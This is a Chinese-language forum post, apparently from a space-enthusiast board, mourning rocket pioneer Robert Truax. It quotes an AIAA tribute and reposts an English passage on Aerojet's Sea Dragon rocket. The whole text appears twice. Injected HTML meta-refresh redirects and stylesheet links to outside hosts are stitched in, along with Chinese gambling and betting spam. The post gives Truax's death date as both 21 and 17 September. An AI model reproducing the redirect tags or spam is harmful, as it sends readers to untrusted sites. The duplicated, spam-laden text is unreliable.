戈达德的火箭传人于9月21日去世

<br /><br />美国火箭技术先驱、戈达德的正统传人、低成本航天运载工具的倡导者、海龙号超级无敌火箭的设计者，罗伯特特鲁阿克斯于9月21日在加利福尼亚州去世
AIAA mourns the death of Capt. Robert C. Truax, past president of the American Rocket Society, and AIAA Honorary Fellow. Capt. Truax passed away in Vista, CA, on 17 September. AIAA President Mark J. Lewis stated: “We mourn the passing of Capt. Truax, whose contributions to the field of propulsion made many of today’s systems possible. From his work on Jet Assisted Take Off (JATO) systems and leadership efforts on the Thor, Viking, and Polaris missiles, Truax was an integral part of modern rocket history. While we are all saddened by his loss, we salute his many contributions to our nation's development of rocket systems.&quot;
太麻烦，我直接发Links
http://neverworld.net/truax
http://en.wikipedia.org/wiki/Robert_Truax
http://www.spaceref.com/news/viewpr.html?pid=31673
http://www.spaceref.com/news/viewpr.rss.spacewire.html?pid=31673
http://www.astronautix.com/mfrs/truax.htm
http://www.optipoint.com/far/far8.htm
The biggest rocket ever(有史以来最大的火箭)
In the early 1960ies and before the MCD criteria were formalized &quot;in writing&quot;, Aerojet anticipated a low-cost and truely big dumb rocket: the Sea Dragon. It seems their gut feeling told them the way to go. To date, this is the biggest rocket ever seriously postulated. Sea Dragon was a two-stage reusable vehicle, the first stage using LOX and Kerosine, the second LOX and Hydrogen. The first stage would have made a parachute ocean landing. Both stages were single engine pressure fed (Aerojet's studies suggested that development of a single large engine would be simpler and reliably higher than that of a cluster of smaller engines). Sea Dragon was truely colossal. The mere numbers speak for themselfs: The Sea Dragon was to have had a payload capacity of 550 tons to LEO with a take-off weight in the range of 20.000 tons! The vehicle would have stood 168 m with 23 m in diameter. Twice those numbers and you have the TITANIC. No doubt these are ocean vessle dimensions rather than those of a flying machine (stressing my point that in rocketry we talk about ship building rather than airplane manufacturing techniques). Indeed, the Sea Dragon was to be built on the ocean front in a ship yard and then towed to the launch site. Launch site is actually saying too much, because the Sea Dragon would have launched, partially submerged, directly out of the ocean (this concept had evloved out of Navy experiments with submarine based missles). Ballast tanks would have positioned and trimmed the rocket properly before ignition.
Aerojet calculated the cost to $ 59 to $ 620 per kg. NASA had an interest in the Sea Dragon largely because of its large payload capacity. It had the cost calculations independently reassessed and they were largely confirmed. Immagine a $ 100 kg ticket price! In other words, we could fly into space for $ 10.000. Perhaps not cheap but well within range of affordability.
Too bad it didn't come true. As NASA's planetary ambitions shrank (to practically zero), the Sea Dragon was moth-balled and eventually forgotten.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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6.合.彩!!足球!篮球...各类投注开户下注
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推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />美国火箭技术先驱、戈达德的正统传人、低成本航天运载工具的倡导者、海龙号超级无敌火箭的设计者，罗伯特特鲁阿克斯于9月21日在加利福尼亚州去世
AIAA mourns the death of Capt. Robert C. Truax, past president of the American Rocket Society, and AIAA Honorary Fellow. Capt. Truax passed away in Vista, CA, on 17 September. AIAA President Mark J. Lewis stated: “We mourn the passing of Capt. Truax, whose contributions to the field of propulsion made many of today’s systems possible. From his work on Jet Assisted Take Off (JATO) systems and leadership efforts on the Thor, Viking, and Polaris missiles, Truax was an integral part of modern rocket history. While we are all saddened by his loss, we salute his many contributions to our nation's development of rocket systems.&quot;
太麻烦，我直接发Links
http://neverworld.net/truax
http://en.wikipedia.org/wiki/Robert_Truax
http://www.spaceref.com/news/viewpr.html?pid=31673
http://www.spaceref.com/news/viewpr.rss.spacewire.html?pid=31673
http://www.astronautix.com/mfrs/truax.htm
http://www.optipoint.com/far/far8.htm
The biggest rocket ever(有史以来最大的火箭)
In the early 1960ies and before the MCD criteria were formalized &quot;in writing&quot;, Aerojet anticipated a low-cost and truely big dumb rocket: the Sea Dragon. It seems their gut feeling told them the way to go. To date, this is the biggest rocket ever seriously postulated. Sea Dragon was a two-stage reusable vehicle, the first stage using LOX and Kerosine, the second LOX and Hydrogen. The first stage would have made a parachute ocean landing. Both stages were single engine pressure fed (Aerojet's studies suggested that development of a single large engine would be simpler and reliably higher than that of a cluster of smaller engines). Sea Dragon was truely colossal. The mere numbers speak for themselfs: The Sea Dragon was to have had a payload capacity of 550 tons to LEO with a take-off weight in the range of 20.000 tons! The vehicle would have stood 168 m with 23 m in diameter. Twice those numbers and you have the TITANIC. No doubt these are ocean vessle dimensions rather than those of a flying machine (stressing my point that in rocketry we talk about ship building rather than airplane manufacturing techniques). Indeed, the Sea Dragon was to be built on the ocean front in a ship yard and then towed to the launch site. Launch site is actually saying too much, because the Sea Dragon would have launched, partially submerged, directly out of the ocean (this concept had evloved out of Navy experiments with submarine based missles). Ballast tanks would have positioned and trimmed the rocket properly before ignition.
Aerojet calculated the cost to $ 59 to $ 620 per kg. NASA had an interest in the Sea Dragon largely because of its large payload capacity. It had the cost calculations independently reassessed and they were largely confirmed. Immagine a $ 100 kg ticket price! In other words, we could fly into space for $ 10.000. Perhaps not cheap but well within range of affordability.
Too bad it didn't come true. As NASA's planetary ambitions shrank (to practically zero), the Sea Dragon was moth-balled and eventually forgotten.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>
<P>&nbsp;</P>

6.合.彩!!足球!篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台